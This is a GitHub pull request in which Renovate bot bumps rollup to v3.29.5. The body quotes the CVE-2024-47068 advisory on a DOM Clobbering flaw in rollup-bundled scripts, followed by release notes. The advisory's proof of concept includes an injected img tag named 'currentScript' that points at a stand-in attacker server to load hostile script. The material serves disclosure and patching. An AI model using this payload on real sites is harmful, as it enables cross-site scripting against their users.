chore(deps): update dependency rollup to v3.29.5 [security] by renovate[bot] · Pull Request #19 · jackw/systemjs-extras

renovate · 2024-09-27T03:01:16Z

This PR contains the following updates:

Package	Change	Age	Confidence
rollup (source)	`3.28.1` → `3.29.5`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

`v3.29.5`

Compare Source

2024-09-21

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5671: Fix DOM Clobbering CVE (@lukastaegert)

`v3.29.4`

Compare Source

3.29.4

2023-09-28

Bug Fixes

Fix static analysis when an exported function uses callbacks (#5158)

Pull Requests

#5158: Deoptimize all parameters when losing track of a function (@lukastaegert)

`v3.29.3`

Compare Source

3.29.3

2023-09-24

Bug Fixes

Fix a bug where code was wrongly tree-shaken after mutating function parameters (#5153)

Pull Requests

#5145: docs: improve the docs repl appearance in the light mode (@TrickyPi)
#5148: chore(deps): update dependency @vue/eslint-config-typescript to v12 (@renovate[bot])
#5149: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5153: Fully deoptimize first level path when deoptimizing nested parameter paths (@lukastaegert)

`v3.29.2`

Compare Source

3.29.2

2023-09-15

Bug Fixes

Export TreeshakingPreset type (#5131)

Pull Requests

#5131: fix: exports TreeshakingPreset (@moltar)
#5134: docs: steps to enable symlinks on windows (@thebanjomatic)
#5137: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])

`v3.29.1`

Compare Source

3.29.1

2023-09-10

Bug Fixes

Fix time measurement of plugin hooks in watch mode (#5114)
Ensure accessing document.currentScript in import.meta.url returns correct results (#5118)

Pull Requests

#5114: fix(perf): avoid superfluous timer wrappings in watch mode (@ZhengLiu2825)
#5118: fix: access document.currentScript at the top level (@TrickyPi)
#5125: chore(deps): update actions/checkout action to v4 (@renovate[bot])
#5126: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5129: re-enbale repl-artefacts workflow for rollup-swc branch (@TrickyPi)

`v3.29.0`

Compare Source

3.29.0

2023-09-06

Features

Add output.sourcemapFileNames option (#5105)
Add generic type parameter for api to Plugin type (#5112)

Bug Fixes

Ensure mutations of CustomEvent details are tracked (#5123)

Pull Requests

#5105: Added option to name sourcemap files, i.e. a output.sourcemapFileName… (@atti187)
#5108: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5109: Docs: load full path of rollup.browser.js for Rollup V4 (@TrickyPi)
#5112: feat(types): add generic type for plugin api (@sxzz)
#5115: chore(deps): lock file maintenance minor/patch updates (@renovate[bot])
#5123: Deoptimize custom event detail (@lukastaegert)

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 8679307 to dfb9266 Compare January 24, 2025 04:11

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from dfb9266 to 6b13493 Compare February 12, 2025 03:59

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 6b13493 to 8fc753e Compare March 13, 2025 03:48

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 8fc753e to 3c4884a Compare April 2, 2025 00:07

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 3c4884a to 8b33576 Compare April 25, 2025 04:15

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 63027e4 to fe1ca8a Compare May 31, 2025 08:15

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from fe1ca8a to d9ce3a2 Compare August 14, 2025 00:02

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from d9ce3a2 to eed3264 Compare September 27, 2025 00:09

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from eed3264 to c8731bb Compare October 23, 2025 07:46

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from c8731bb to b2c9e5e Compare November 16, 2025 19:58

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from b2c9e5e to 0fad8df Compare December 4, 2025 07:45

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 0fad8df to 0cdf5d7 Compare January 1, 2026 01:47

chore(deps): update dependency rollup to v3.29.5 [security]

81e2a13

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 0cdf5d7 to 81e2a13 Compare February 13, 2026 08:10

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency rollup to v3.29.5 [security]#19

chore(deps): update dependency rollup to v3.29.5 [security]#19
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-rollup-vulnerability

renovate bot commented Sep 27, 2024 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate bot commented Sep 27, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

Release Notes

v3.29.5

Bug Fixes

Pull Requests

v3.29.4

3.29.4

Bug Fixes

Pull Requests

v3.29.3

3.29.3

Bug Fixes

Pull Requests

v3.29.2

3.29.2

Bug Fixes

Pull Requests

v3.29.1

3.29.1

Bug Fixes

Pull Requests

v3.29.0

3.29.0

Features

Bug Fixes

Pull Requests

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate bot commented Sep 27, 2024 •

edited

Loading

Gadget found in `rollup`

`v3.29.5`

`v3.29.4`

`v3.29.3`

`v3.29.2`

`v3.29.1`

`v3.29.0`